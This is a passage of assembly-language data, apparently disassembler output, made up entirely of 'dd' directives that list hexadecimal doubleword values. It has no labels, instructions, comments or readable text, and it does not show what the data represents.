		dd 6DAD002Ah, 67A7130h,	0BAE30060h, 4F8524BBh, 0B750A888h
		dd 0C4094890h, 20E2ACF7h, 897F0600h, 7268031Bh,	8A5FD12Ch
		dd 21F80830h, 0F89771Fh, 977C96CFh, 20E4FA67h, 32359C4Bh
		dd 9B4EB0C1h, 420FC93h,	3100921h, 3401F553h, 25D77DEFh
		dd 0C8C84B94h, 4D86C0D9h, 0FA1DC405h, 52808782h, 54B545CBh
		dd 0AC29C6E4h, 7500A9F3h, 7CA623C0h, 9FF1B9Ah, 74039330h
		dd 1E4388Ah, 5DDBFBCEh,	0E7F03BFAh, 88AB5030h, 51050669h
		dd 10BA9C88h, 947804D4h, 13023BCh, 4F80A227h, 21FE1921h
		dd 0D0A21F0Ah, 0BC009469h, 0F673910Fh, 338051FCh, 4C5CC690h
		dd 6C57E2B8h, 28B9CD24h, 607D460Eh, 2B19B72Ch, 0D3F40F60h
		dd 30BD2F85h, 0F91EC759h, 6D4E2500h, 0AF83747Ah, 0EB4105CCh
		dd 1DD86A2Ah, 0B0A799A4h, 81D1836h, 114F7EA2h, 813B1CFh
		dd 3CA00015h, 44D83AE7h, 65064EBAh, 0BD896C4Ch,	330106A0h
		dd 60969B8Fh, 0CA44F57Eh, 49BE3B51h, 4054A050h,	0B544C7CCh
		dd 64D70060h, 2E57C1EAh
		dd 8C006736h, 0C5E5185Bh, 3D95F741h, 0D8805053h, 0CF3CCACEh
		dd 0F548D3A3h, 62220424h, 1C8ECB06h, 9BC0DA88h,	0E84F682Ch
		dd 50EB61ABh, 4834F654h, 92F1F8ECh, 8460FBB8h, 23278963h
		dd 0F6115268h, 897B2B00h, 0C77CA701h, 54CF401h,	0DF6AC581h
		dd 48BC6560h, 0D582B0C8h, 6720ED4Ah, 99E57B31h,	0F92032E4h
		dd 89813C90h, 62682500h, 87E4EB2Ch, 7CEA0278h, 9EEEB4C3h
		dd 0A988005Dh, 22038Eh,	0B667AE84h, 0E39AC894h,	8FDEF100h
		dd 0B46D61EFh, 0C94C303Dh, 0CBA36338h, 4EBDAF00h, 46600AE0h
		dd 0BF08CCD8h, 0E3008621h, 470F42AFh, 9636A0h, 6A2079ABh
		dd 3276E672h, 0C9FDDCFBh, 64589A01h, 63F03C7Ah,	0B90E9880h
		dd 0C875CF08h, 6D98A70Ch, 600208A0h, 0B1292064h, 7900FB08h
		dd 8D34414Eh, 9884CEh, 1DF763E2h, 0B5C1099Ah, 4962EC00h
		dd 0C95F01B3h, 7CEE7ABEh, 0C3A0C0EBh, 7E1F4894h, 803B1B03h
		dd 302B33C7h, 0F6219008h, 0B0031F40h, 0B58381B1h, 0CE0BF004h
		dd 6BB4333Bh, 9100D688h, 3F46B8EEh, 5CA5681h, 0EB10ED9Ah
		dd 509C0197h, 4079FE6Fh, 0FF196DA8h, 60F38A40h,	1AB46899h
		dd 48D06570h, 1762384h,	75CB08BDh, 880518A8h, 800B52Dh
		dd 0FD4AF321h, 3ED7982h, 5EF1773Ah, 75C91DC9h, 22110796h
		dd 33000ACBh, 0C66764D0h, 0A10166B8h, 11815C69h, 0D6E3C3CDh
		dd 83D9805Fh, 0ED46757Eh, 0A41C908Fh, 0A4714420h, 9F757600h
		dd 0A19BD70Eh, 70A86135h, 0CDFC02DEh, 0F318206Ah, 0C7DDF24h
		dd 3E4624A8h, 0BCAFCC02h, 0BE31D84Eh, 0AFE48310h, 8C00817Dh
		dd 720D9E24h, 0A642D49h, 0C42BD5ECh, 81C9115Ch,	0ED447564h
		dd 107B31E6h, 39757CAAh, 0A101943Bh, 3F4AED1Ah,	0A29C50FAh
		dd 0C180A519h, 0AC460C50h, 614E2BE1h, 3F64C654h, 0AFCD048Ch
		dd 62D04EB7h, 0E58820BDh, 0B00041AFh, 0D92E563Ch, 9E74CEAh
		dd 644B3BD8h, 197C0011h, 24D1A320h, 0CF00D875h,	542B2E51h
		dd 0E47E8100h, 936808Ah, 3E6FAECEh, 0E91DE020h,	0B4807A72h
		dd 59EA601Eh, 7E4E54Ch,	4B2B2314h, 507CD5D4h, 48CB194h
		dd 1B621F44h, 208B625Bh, 0AD1F3CDAh, 0BC82361Fh, 0F971867Ch
		dd 0C7883B6h, 67526F96h, 11100F90h, 46008157h, 0C362E395h
		dd 23003DB1h, 7528D985h, 1472BA64h, 0D86F4F37h,	11773860h
		dd 0D980903Bh, 72EB0C75h, 1B81E447h, 0AB356A12h, 0FB39F847h
		dd 64505EC4h, 3B8C8AA8h, 67049826h, 800DF31Ah, 0BB4EE498h
		dd 80E6733Ch, 45CC7D94h, 3F3F01C2h, 9800C5ADh, 4B46C40Ah
		dd 2A24BA7Ch, 321FC1C3h, 3B66B030h, 0F05F52AFh,	0BC017323h
		dd 0A075CC08h, 2E890618h, 0A3808C8h, 0C53CA553h, 11F900DCh
		dd 0B0C4147Fh, 44D4CB24h, 0CF803911h, 0C04EB9AFh, 8A10EF8Ch
		dd 1400AFC7h, 8966201Dh, 281AB355h, 0ED985740h,	1F094618h
		dd 9C2B1B7Ch, 3EF40090h, 0D4B3F01Fh, 0AF7F4CC1h, 0BA329107h
		dd 6AB05E77h, 0C0B94DC7h, 5F4C7879h, 33170DCBh,	1D019B55h
		dd 97C9BB91h, 0CC4E4F8h, 0CA1E0934h, 16000131h,	1D929476h
		dd 281AEDB0h, 0C80F27h,	160D773h, 0A3FFBC10h, 3EDBBA02h
		dd 0B03BB46Eh, 8AFD184h, 0B304EC3h, 8C014868h, 943DAFC9h
		dd 4C3C17D0h, 0C0BC4C6Eh, 0E17C038Ch, 4E2793A8h, 0B84CA9F8h
		dd 0F9CF21C0h, 38A35534h, 0F38FB368h, 0FA206B5Dh, 568DA57Ch
		dd 67DDE816h, 85061004h, 73B44401h, 7680DC71h, 0ED438705h
		dd 908E78BFh, 3063FC84h, 0B88DC519h, 69C98282h,	406211E8h
		dd 0BEA21C53h, 153430h,	0F44F7343h, 0BC59A21Bh,	0F715BC91h
		dd 0A3BA01D0h, 0F23C0182h, 0F8339180h, 0D5A61474h, 12FDA703h
		dd 0E03F4ED2h, 0CB413BAh, 80FB1175h, 0C44DE998h, 7EBC84h
		dd 523DF4F6h, 6F5140ADh, 266D0220h, 83FC70D5h, 0C78697B7h
		dd 9C6317B0h, 12ADB00h,	5AEBBFA3h, 0C2BE09C5h, 880C98DAh
		dd 0F70290C8h, 48734DF0h, 0A17C484Fh, 0B53C0C9Ch, 4CA1EB17h
		dd 0CF18237Fh, 726962A8h, 18B5504Dh, 7A4FE89Bh,	0C1E72475h
		dd 46C0A060h, 0AFCE0240h, 1CC84EBEh, 0AFE68500h, 9FD214FBh
		dd 0B0B75389h, 0B5320D03h, 0F7D0C896h, 0D001E9E5h, 67826545h
		dd 64343B02h, 20A498D1h, 690281B3h, 0C3C6CFA9h,	49CCCE4h
		dd 0ED47757Bh, 20706287h, 0E17573A3h, 85DF8E02h, 40D151A1h
		dd 4CFB8600h, 0FBE870CCh, 833E6343h, 0B3F25C81h, 40AFDD71h
		dd 7F76A128h, 0BA1FB8B2h, 39366B61h, 0F754668h,	48CE08BEh
		dd 6401C2B0h, 8B63000h,	0F10D0015h, 0BE772876h,	1700BC4Ch
		dd 0EF73475Ch, 6A90472h, 1AB53D22h, 4C0339D7h, 0B0AAFEE8h
		dd 9418B960h, 20A419A0h, 46007BEFh, 87D30A49h, 0D7F1E3A4h
		dd 23983BD4h, 40E507BCh, 0E4824B43h, 9A21EC47h,	0B603D0D1h
		dd 780A6FA0h, 17266C90h, 3C115C1Fh, 0BAAFD280h,	0B43284Eh
		dd 8900A222h, 0D5D0AFCAh, 0E40587E3h, 5D433F46h, 0BE6D68E2h
		dd 9C979801h, 20315029h, 40EAF3F9h, 4E079634h, 22B07C49h
		dd 0D1C4B1B3h, 11871h, 0A4BADC97h, 0AF1DBBFDh, 0B724CE52h
		dd 399AC068h, 1CE8BBFEh, 930EF501h, 1E0F4EE2h, 778874h
		dd 3D4C511Fh, 86170CBAh, 0A7187260h, 4828CCC1h,	0FABC6059h
		dd 77A2098Ch, 0A8976E24h, 7780A291h, 7E4C8B72h,	19DAE101h
		dd 0A23352F8h, 0ECC4A2A0h, 22289ACDh, 4CECA44Ah, 842D5C02h
		dd 68FEE1E3h, 53369E8h,	0B1EB3BC5h, 8C20019Ch, 21F50332h
		dd 17CF024h, 0D402A941h, 757D30E6h, 77ED4910h, 12FFA5E3h
		dd 0DB60AC65h, 173842C4h, 0B0F428CCh, 30938E20h, 0A93161D5h
		dd 6B2C13B7h, 4674AC22h, 0A0271CBDh, 44207042h,	78F841BBh
		dd 80BB718h, 1CB875CDh,	0AF2F3B08h, 304F3700h, 1B710338h
		dd 0A0A1EC2Ah, 3CA4CB00h, 62CD395Bh, 19CE00ACh,	3DD734DCh
		dd 14A0EB60h, 0ABE454D8h, 0B0054107h, 1B273B2Bh, 0B8E440A0h
		dd 0F33C33DAh, 0C5D07791h, 973A4898h, 0CEC80044h, 0BA4EA960h
		dd 72A70663h, 59A6EF35h, 0F1E1A00h, 717662B2h, 0FBD5009Eh
		dd 5E164D1Fh, 38028F63h, 0D3E710A4h, 44844744h,	1DE2607Ah
		dd 3F5502D8h, 0E874A95h, 63D200C1h, 63FAA1ACh, 0C0A7C90Ch
		dd 15600544h, 9702A3C9h, 6A4DD309h, 8B7004ACh, 0CEB9C808h
		dd 4EEB9120h, 0AA040473h, 93A6E172h, 7AE7C80h, 447D4B7Ah
		dd 77ED314h, 0A0EA1D66h, 8080E511h, 7FED4875h, 0C0C970B1h
		dd 2A6E1288h, 1D89FEBh,	43A2EC93h, 0C87B73CEh, 761E7E44h
		dd 0C280B1A5h, 0C151A946h, 0EE9825F0h, 57F6B098h, 931A8D0Ah
		dd 1F05C011h, 84BA6D6Ah, 0F2B4B211h, 0D4BD3077h, 473C1A00h
		dd 8EDD5098h, 0A722126Dh, 24F002F2h, 2CE7F43Fh,	0F660BC44h
		dd 65F823B2h, 0FF4B4A77h, 3272A042h, 0C884299Ah, 3BF4CC64h
		dd 26F1FE61h, 60C082E1h, 6EAB0006h, 0E0944C42h,	9000C965h
		dd 4AE95546h, 0F26AE2ECh, 61692583h, 204B1C05h,	7E825BF4h
		dd 0BBD52D00h, 0DB23E39Bh, 0A05F00F4h, 0F27F9CC3h, 0ED3CBAF6h
		dd 0A0E93032h, 14246FD1h, 4C77A1CBh, 7173F300h,	30D9BA0Dh
		dd 31317F77h, 0ED3BC19Dh, 5006B180h, 8B107E14h,	0B0ED98A2h
		dd 2C208DC0h, 9023F16Eh, 0C63FCA1h, 9C5602E2h, 84DA6F50h
		dd 4E85B8D3h, 0B0903A07h, 2E98F971h, 0F42CED0Bh, 0BF69A0Fh
		dd 0ECF70AB3h, 0F4CCAE12h, 811F0947h, 8CC5431Bh, 1F3FF580h
		dd 906616C5h, 7F390178h, 226F4D5Ch, 0E1B9887Eh,	0D56D92C6h
		dd 7CE6AFC4h, 9BC319C8h, 637390DBh, 0D2E91AD1h,	7BD51C08h
		dd 0FC4208E6h, 0EFC0601Dh
		dd 61950DF8h, 0BDFCE5F5h, 3163FD9h, 3407D098h, 8C2D860Fh
		dd 0A81D7F01h, 1F801411h, 22B59D8Bh, 8A0F58C3h,	0BF210005h
		dd 7C313DF9h, 86E1E381h, 6880F67h, 95890C23h, 0B3A26B5h
		dd 8538DB7Eh, 0B84D51BEh, 8B5202E3h, 0D70CE1B5h, 9536A37Ah
		dd 222AE8FAh, 42C83284h, 45E8940Bh, 0D79F7000h,	0E95EB5D6h
		dd 7517C46Bh, 14C41745h, 85C73060h, 4E013FA1h, 0C01BC826h
		dd 5FA29D7Ch, 0BBBD3002h, 8B890FD9h, 0F6685737h, 0B57232D6h
		dd 0FA1BD201h, 9AFB914Bh, 161F1CC0h, 0BB5CE992h, 0A80D09Eh
		dd 413E61C9h, 94DC713Ch, 9C71C2CFh, 19D92F29h, 99269118h
		dd 0B31A680Ch, 232800DEh, 791935BDh, 208D4803h,	1AE842D4h
		dd 0FD2D018Ch, 6746F08Fh, 4C1D21B0h, 0E120BD31h, 0BE660007h
		dd 238112AFh, 0CCE5FEFFh, 0C688C0Fh, 8140502Dh,	579CBC6h
		dd 8C663D16h, 234D2EDBh, 7A70315h, 0D9AFF6F5h, 1C7C5406h
		dd 5E585CB7h, 7001746h,	0FF77BBE3h, 3E0A995h, 2EFA065Ah
		dd 1D23D1h, 0A02CBD53h,	0E01E45FCh, 5114C007h, 4851097h
		dd 0EB505E16h, 8DD92BCDh, 8B010BB8h, 48961C1h, 49ED6A24h
		dd 4037B81Ch, 5CAC783Ch, 0D0009F93h, 0A0988BFBh, 1A0CCA68h
		dd 2C0450E9h, 780F537h,	0A7E527B0h, 0B344CF1h, 7C088110h
		dd 0BD7829E0h, 0E6101360h, 0AD71E470h, 926AE3DCh, 0AA15E10h
		dd 0D8B60F0Ah, 1B4674B6h, 30A29400h, 0E091CE86h, 0B5019306h
		dd 5A582431h, 0FA40BA60h, 77992A81h, 854403C7h,	53F76E41h
		dd 864DB6F8h, 0CC0013Ch, 3109E905h, 4F8200D9h, 31709236h
		dd 0C9A01675h, 0F29AC9B5h, 3DDDBA52h, 0B1CDA40Bh, 0C1C38B80h
		dd 1BE04E8h, 63AD819Eh,	23E2F766h, 3114A2F1h, 4D5E8830h
		dd 0D82B0106h, 34558D89h, 501893EBh, 0F065752h,	585A1831h
		dd 0BF530A5Fh, 547CE21Ch, 91185E5Ah, 8B100238h,	0B80466D7h
		dd 9361EEEDh, 0F4C2D8DBh, 7CC4B5FFh, 0D6BADEB5h, 0AE22DB00h
		dd 108D6829h, 0C19648EFh, 2423A510h, 467667B0h,	1D45818h
		dd 66CC7AEBh, 5A21FB8Bh, 45C4585Bh, 0B60C2CFh, 1080CB2Eh
		dd 1281667Fh, 16DBEFD7h, 738BBE88h, 8BC11688h, 8926BAE1h
		dd 0F613C01h, 6E026883h, 0B2BC1CE9h, 0D3E1C201h, 0F381C9EAh
		dd 2923B425h, 0B3DFBD00h, 0D179E85Ch, 0BA978200h, 0F5BB4937h
		dd 0C7D624A9h, 4D5F6B73h, 4AED63E0h, 801345A8h,	31F6EE02h
		dd 490BDD85h, 5072BD96h, 0B1E99C50h, 6D390016h,	51E4950Bh
		dd 2712A2E6h, 0AD24C647h, 0C4C0149Bh, 0BB8F4E7Dh, 0F1258312h
		dd 20F30A09h, 0FD8D01CEh, 21B29119h, 181D7176h,	8D3707DEh
		dd 11407695h, 6AC2A1AAh, 267C61FDh, 515EF45h, 0AB58ED34h
		dd 12456E4h, 18682E40h,	0FF14AAA5h, 522257F0h, 0E90B8CD6h
		dd 7585AB65h, 4360B76Dh, 4E2FE8Ah, 0ADF17EE9h, 743587ECh
		dd 51B90A2Ch, 32C1830Ah, 3E14465Eh, 5A55C80h, 3B391EF1h
		dd 986B7C1h, 3CF2B9A6h,	48C1F696h, 1A8F8D4h, 99256120h
		dd 5C774ABBh, 0A4011746h, 0F98A3E68h, 88214B5Bh, 37F9C019h
		dd 0CA2DDF3Eh, 0BE98DFE9h, 174069B5h, 41C3482Bh, 0F48C1AE8h
		dd 99AD044Ch, 8C38E0F0h, 8009B0Dh, 837C7798h, 0F1343D74h
		dd 6325D229h, 1C11101Fh, 162D9580h, 3500A6F5h, 81DAD97Ch
		dd 949D8DEh, 39E97505h,	0BF60B04Fh, 17321h, 4617C52Bh
		dd 0B709E781h, 0F3703328h, 2BF0544h, 386813D5h,	0C66AC08Bh
		dd 0D8EBF88Eh, 1A11191Dh, 0C26C0F80h, 0B62D0ECBh, 31927792h
		dd 0AEF2DDh, 8C07CCECh,	950FDFA9h, 0D2FA7000h, 5009B593h
		dd 0A03514F2h, 0BF01F46Fh, 1185C7F9h, 1FF14331h, 0BE3545DFh
		dd 0C8B029A6h, 2D03A878h, 0EFAFEE6Bh, 5EC6BF7Fh, 9CF9E4FCh
		dd 18857014h, 0C92947CEh, 0E58A1321h, 0FC041613h, 24181B79h
		dd 6E8A1811h, 0C413A5C0h, 0D26A6115h, 0AB5BB966h, 2F01786Bh
		dd 0D52D213h, 75C270D1h, 1D904FC9h, 8117112Fh, 0CE8469CAh
		dd 8455BD6Eh, 24142E09h, 258BF028h, 0D61D1631h,	9F801891h
		dd 0F2C7D525h, 0D780C991h, 5F4F2183h, 81570187h, 6FDA24DFh
		dd 5170887Ch, 6758262Dh, 0DD96097h, 7000BA46h, 3721DBA9h
		dd 2EBE66F6h, 3B126558h, 0F969284h, 0F86BE48Dh,	0D595890Bh
		dd 29871123h, 0F5B52B11h, 500CA82Fh, 97BEF300h,	0FC432D52h
		dd 1FB40360h, 12F58D8Bh, 959D3D08h, 0CF6C3029h,	61299067h
		dd 0B50493FCh, 0C190C1Dh, 48EB287Dh, 8C18E8F6h,	52BB6000h
		dd 9531453Ch, 4C1569B1h, 40C0BA4Dh, 0FE6591CDh,	114300C6h
		dd 41E95F90h, 6BE3FFF7h, 0C40058B9h, 1F07F551h,	0E60E56D7h
		dd 61CBD97Fh, 0C18B2014h, 15A2F833h, 5826E830h,	1C20FE31h
		dd 9F1AEB4Bh, 70FD5302h, 0D40031A1h, 7B34B337h,	0A868B69h
		dd 0FECABF66h, 1B467491h, 6FB9D00h, 9C8B2FE1h, 828DEB24h
		dd 7BC30825h, 9072F8D6h, 0AF70713h, 23509088h, 4E24F88Bh
		dd 0CB2C7160h, 0C0C9C96Eh, 0B16A61F0h, 1817D944h, 5E74198Fh
		dd 0FA0D5C6Ah, 0F0387E0Ah, 0C6D43D83h, 0B1190731h, 0C083002Ah
		dd 20BFB005h, 0AEDC2D41h, 0D0BB5256h, 0D5CBDF4Fh, 5154CD00h
		dd 637899A5h, 0BE31480Fh, 5A38C501h, 9FF89058h,	7A24B810h
		dd 5E0F8BA8h, 4C4808BFh, 17011646h, 2105659Dh, 331DF947h
		dd 301BE2ABh, 0FB00A50Bh, 0ECD2FD4Eh, 149D8D61h, 0DC069933h
		dd 48C18ECh, 2CD7B519h,	20E89382h, 0B1D3AB26h, 1D4674h
		dd 0B7FBCC80h, 131AA4F1h, 69BAE44h, 5B0B2543h, 8201852Ah
		dd 24BCBF01h, 50E95398h, 0D0E28E6Ch, 5905E1A9h,	0C988B3F7h
		dd 4D80A988h, 82FDC195h, 2D78300Bh, 79B9BD2h, 3FC6FB80h
		dd 76757340h, 0F60CC0Bh, 9D34188Ch, 16B0ABEDh, 0C961C8CEh
		dd 0F29276B3h, 9CC3DA0Eh, 98B7A5F5h, 0A86EF801h, 0DDC06133h
		dd 291324B7h, 22410ACh,	536BD83h, 5BDFDA07h, 617B3Ch, 75BBC9F4h
		dd 19CDF2D8h, 5630983Bh, 85311006h, 2528B2F5h, 0ED1055E9h
		dd 0C2822129h, 904909AEh, 5ABBE7Eh, 0E911A5F2h,	0A91A443Bh
		dd 0DFC22907h, 0DBD0D57Bh, 450C0055h, 0DCB5FCF0h, 2998E4F4h
		dd 121B7CB7h, 0F26318Dh, 0A3374588h, 0E23D4264h, 47AA301Ch
		dd 580723E8h, 0BDF567F1h, 17D5E4BDh, 0B5295E00h, 0DC09252Ch
		dd 89DB8C80h, 0D60D19BDh, 796C8812h, 0BF7A56D2h, 72341C04h
		dd 0B2B1B662h, 0E6B4301Bh, 26287D00h, 0FA39FDCh, 0A1F858B7h
		dd 16A1512Ah, 0C45E5350h, 23572E5Dh, 807E001Ah,	84824C63h
		dd 0F468E971h, 5D16DA41h, 0E82047C9h, 0E6761937h, 891D1C70h
		dd 6D71E483h, 2C5AC1FFh, 0AD13C077h, 0C15543B0h, 60E030D4h
		dd 53130E5Bh, 388494DBh, 0C017A4E8h, 8A8BBD00h,	47405356h
		dd 9B6406C9h, 23800F4Ah, 0BD9E5FE0h, 0E834904Bh, 6D7F2C9Ah
		dd 1E550055h, 26D4BA62h, 0FDC38B2Dh, 0DF83CFB5h, 9AC9F734h
		dd 0A9C4E8h, 0D53ACBFEh, 0D4E07CE6h, 23E71405h,	0C92BDB5h
		dd 9EC4785Eh, 1CE00B7Dh, 71FB7162h, 0D82BD173h,	0CF0B126h
		dd 68026234h, 0DA06027Ch, 590540C4h, 7393811Eh,	88180613h
		dd 5BC4D9Eh, 0B6FA8C22h, 279CB350h, 0FBB793h, 60457C61h
		dd 710B0974h, 65E3C214h, 1EC1508Ah, 8462B638h, 6A1B2296h
		dd 1124E666h, 0CA4860Fh, 4FE93CF4h, 603010A4h, 0D62EC638h
		dd 936CEE00h, 0B2A13AAFh, 40E85A54h, 2244DE56h,	0BA007F71h
		dd 88535E4Fh, 3D58CF3h,	2B0DEF81h, 85E45937h, 0E0DBA6CBh
		dd 24929CC4h, 33E5764Eh, 0B3854DEAh, 0C3EB2C8Ah, 7DCA8AEh
		dd 6E0D71C0h
		dd 1646416Bh, 31648851h, 575E1230h, 80A09BF3h, 1FBA2F6Ah
		dd 0F38E0960h, 5DC68F0Fh, 0B2074D2Fh, 8A62401Dh, 2E0901Fh
		dd 4B2AF681h, 0B04B4350h, 47F2ADh, 0D705E53Dh, 120752FCh
		dd 545E98E2h, 0E9289FBBh, 22410129h, 1F9F280Ch,	0A20A3358h
		dd 4E96301Ah, 0D05D3200h, 0B5892A29h, 0B7BC9A91h, 814190D4h
		dd 0DC028D6h, 9554B61Fh, 6E5BCD1Eh, 112615B3h, 0B533819Ah
		dd 31000C71h, 6DED8D95h, 16A09059h, 5DC47D90h, 231CA082h
		dd 0B0010E8h, 1456956Dh, 0F64B1BC9h, 0BA89073Dh, 0E56A3C29h
		dd 99F6C13Eh, 665F0021h, 4DF25B8Bh, 2345B660h, 20B20024h
		dd 9E1AA6B0h, 0EBEE162Fh, 606FC007h, 8A9896B1h,	0AD14F03Eh
		dd 72789161h, 0C2CCF912h, 3F8BBEDFh, 4ED7D5Bh, 68690660h
		dd 0D2924CDh, 0D7851362h, 3482EB1Fh, 4C0B2DC9h,	202C4529h
		dd 16409DE9h, 409CB457h, 0B06C45C0h, 363A9200h,	62ADB7D7h
		dd 0AEB400A7h, 79BC2D8Bh, 5E16D17Dh, 90C926E9h,	0AC6F07C5h
		dd 0EE6A97BEh, 8FD1DC0Bh, 1BE40D67h, 204A2260h,	65ED1805h
		dd 84045DC4h, 2AA52E95h, 0B985412Bh, 977CBE7Bh,	85861920h
		dd 44C587BAh, 3DE96017h, 15385CA8h, 8BCB0D05h, 0C8F4A3F0h
		dd 1615A835h, 8DC457C7h, 0DAFD6FF3h, 6A008DACh,	0F8CB8454h
		dd 9025D687h, 24C52D6Bh, 0BD3311B8h, 6CB905FAh,	4E2EE20Bh
		dd 0D42596FEh, 73CD3A00h, 0B189EEDh, 0F2592496h, 0B503C0E5h
		dd 9D880E2Dh, 900B408Dh, 80E374B7h, 0CB48E3A6h,	0FE00F81Ch
		dd 0C7707840h, 80FB67h,	0CF8126C6h, 1FB8E8DFh, 7D8D8918h
		dd 90F96045h, 61D007DBh, 84991DBFh, 3D498278h, 0CDD5ECABh
		dd 68006ECAh, 15B84A2Ah, 0DFD72250h, 6090781Ch,	45388466h
		dd 61FB7C81h, 55F19529h, 5DA3EAA3h, 0D018508h, 78D7B597h
		dd 1799524Ch, 9B1FFED9h, 0D3158036h, 4B8F5Eh, 591BC754h
		dd 12890FCDh, 879627DDh, 0F781EE21h, 62B961C0h,	2165887Ah
		dd 0A5F5603h, 0B847E6DEh, 236909ADh, 3180463Dh,	8A452EC7h
		dd 62E677C0h, 14C96E13h, 84648192h, 0BE02515Eh,	0D0D6E95Fh
		dd 7263BBF9h, 0F25BEC6h, 93A3E68Ah, 6DD37845h, 5C570D24h
		dd 162C6108h, 950FCD5Eh, 16E595C8h, 0F430820Fh,	0D327058Dh
		dd 0BED5CC18h, 0FC706F01h, 0C5958902h, 9490C724h, 8F2F40BBh
		dd 0AE000F92h, 56411DECh, 3D525018h, 31A6F98Bh,	1F3F201Eh
		dd 0C75E585Ah, 1BBD8990h, 3B6A05E1h, 3D16BB6Fh,	23DB3B6Ah
		dd 0BC6C0317h, 0EE08E10Eh, 20710C8h, 63DC0C11h,	31A87263h
		dd 0E7B462CBh, 658D0102h, 0F38B1008h, 0CDCC5F69h, 0F812C050h
		dd 13029864h, 0F6CBEA65h, 0CA1660BCh, 49623F36h, 3D85018Bh
		dd 0B36A8E25h, 3014A2EDh, 9B9189EDh, 0B28244B4h, 4018D985h
		dd 7021EE81h, 3A3D6B2Dh, 5050F3FBh, 0BC021273h,	0B70FF574h
		dd 10D67CF6h, 826512Eh,	0D348FFA6h, 17D91607h, 476DF9Dh
		dd 0E4752DE1h, 102CF14Bh, 2390F263h, 7C4E90Bh, 0D2880265h
		dd 0FA291A10h, 547962Bh, 0F5027391h, 9919D8Bh, 19C4D767h
		dd 36338760h, 0C8539E12h, 3D9C68C8h, 8280D717h,	0B4ADC9AEh
		dd 0C24F9B5Ch, 448699D8h, 0CE0BBF05h, 4976B94Eh, 3E699BD5h
		dd 9C0099ECh, 6B259D51h, 40026D26h, 8DAB594Dh, 0B190C22h
		dd 0F45BD83h, 3D44DC44h, 0E653B851h, 0BCC1820Ch, 371BAF66h
		dd 74BA00E0h, 667B02DBh, 0E0F5BE16h, 81B55870h,	3499B918h
		dd 4ADDF394h, 0E6BF4A25h, 52D63F3Ch, 0F15650CBh, 14E120A4h
		dd 0BD0B3620h, 5C0A95FDh, 96022818h, 0B807F49Ah, 6EBC4C05h
		dd 14F9B2F1h, 2A159C41h, 5BE8F704h, 0A000C06Ah,	0DC86DEDAh
		dd 8520B501h, 25909F14h, 0B2000722h, 0A1CD504Ah, 0E923343h
		dd 0B51242ABh, 29F08056h, 8475DBDh, 0B0CD8F22h,	6B3E1F1Dh
		dd 3D152343h, 29E7C728h, 0BB5520F5h, 95F912FBh,	0DCF270BAh
		dd 99565AAh, 728FC207h,	0B381E491h, 0A214343Fh,	750C008Bh
		dd 9DB5BF83h, 649478E1h, 0E690267Ah, 0B9E7E0A4h, 0D82B38DEh
		dd 0BF663F80h, 0BBE9AA9Eh, 87CE034Eh, 99C01DC8h, 262E3A0h
		dd 0A6DE7A4Dh, 90854068h, 0B048D2D9h, 1564A947h, 0E6B60360h
		dd 0A2D47053h, 0F8BB3116h, 714FE4A5h, 85893E01h, 0B9390A69h
		dd 154004D3h, 5022F60Ch, 848A0AA8h, 9B500426h, 8BAFE104h
		dd 0B8A8E9C3h, 0CB4B25E4h, 2BB2A540h, 4D9CD5B0h, 0C23C4D25h
		dd 5A790969h, 7D207628h, 790CC41Dh, 50930717h, 7565022Bh
		dd 9570A04h, 777919F1h,	4733CD69h, 8C0F828Dh, 0E10CFA66h
		dd 685E9101h, 0B914FDF5h, 8C14A888h, 8BFE201h, 0B02CD618h
		dd 417D7634h, 0BD164426h, 0C1E9B87Dh, 3A57B142h, 790920B9h
		dd 7C3F195Eh, 402A1623h, 988AF9Eh, 52FC1202h, 0E07FA647h
		dd 4D63D77h, 0DF7182F3h, 40588D47h, 0F8BF0F48h,	0D6B62692h
		dd 16302DCh, 85200DBBh,	0EB91F40h, 2430A982h, 361416A4h
		dd 1FD2124Ah, 1E56D5Bh,	3C341600h, 228547h, 0DF317A8h
		dd 200594C8h, 6E488D5Ah, 18467E7Dh, 0FBE19A00h,	9D090F4Ah
		dd 88C9514Ch, 7780BA12h, 11740817h, 0B307323Ch,	63238C41h
		dd 3640DC40h, 4B7CB4DDh, 30C0976Dh, 4064D36h, 5E8B01D3h
		dd 0BE12C1F7h, 16A068E0h, 0FE082956h, 0C25F1223h, 0E90919D6h
		dd 0BE13FA89h, 228124B8h, 9057FB4h, 57946595h, 0C2227CF2h
		dd 1D2C897Fh, 0D1526C26h, 299C015Ch, 0ADCA593Eh, 0C1964DC8h
		dd 306053E6h, 2E41F11Dh, 6D6D0C98h, 2B485F61h, 7CD05BA1h
		dd 54FCA3Dh, 9438156Eh,	2D94A6B5h, 60CDEF64h, 34E9786Fh
		dd 0F5E6908h, 8509408Ch, 2822F19h, 3209D9Ah, 234D4DE9h
		dd 0B9DBC22h, 0B60D186h, 8B61A48Ch, 491951Bh, 73C0BAFFh
		dd 2012710Fh, 0CDB4F6D8h, 0C29DE2A7h, 9D9C54EEh, 5EBF0599h
		dd 0E7AE20E8h, 8704D124h, 0BA942729h, 0E8455C7h, 388C5F0Dh
		dd 8D67163Ah, 7140958Fh, 0DFB80660h, 7C5153C0h,	1A61F02Dh
		dd 1554829Ah, 2510C720h, 804FEB5h, 8D829775h, 99517A7Dh
		dd 13ED4B07h, 83B11042h, 0C0FDC7D5h, 0CB9A87ACh, 7B2BC5B8h
		dd 5000953Dh, 62DFA61Fh, 816900F1h, 0C555CBCFh,	8B006070h
		dd 8D9AB9F7h, 0B6610DFBh, 6FE0DCA9h, 8B03493Bh,	0D579DD7Ah
		dd 0DFB91648h, 0BE4C9F00h, 39203155h, 997F50C0h, 9F18B5F2h
		dd 0F920BD33h, 90E85B25h, 0E3F143Eh, 4D19E201h,	6E939D1Fh
		dd 26856F8h, 0BBD1F010h, 6F200DE9h, 3A70F01h, 0ED9FC65Bh
		dd 1DF16612h, 11273E78h, 0F318F6C0h, 12B3489Ch,	0AEC08200h
		dd 5FB7341Fh, 463797h, 0F16911EBh, 0DC5E9B26h, 0AAB6BFAh
		dd 0F6B22BA8h, 121B9D08h, 0BBB020E8h, 0D200BE13h, 3E8F0B6Fh
		dd 0E0D63867h, 0EEB00178h, 171F47E6h, 0EF9624E0h, 0E95E5503h
		dd 88FFF842h, 92958589h, 28605DAAh, 7B74DCBDh, 3FACA90Ch
		dd 40495256h, 9696B914h, 0BC1B4D39h, 8D210954h,	75C40CB5h
		dd 18A51741h, 7737F529h, 42393280h, 55CDEE80h, 3E41338Bh
		dd 0E97183D2h, 811C303Fh, 901B95DAh, 4E307F9Fh,	0F8C7A7Eh
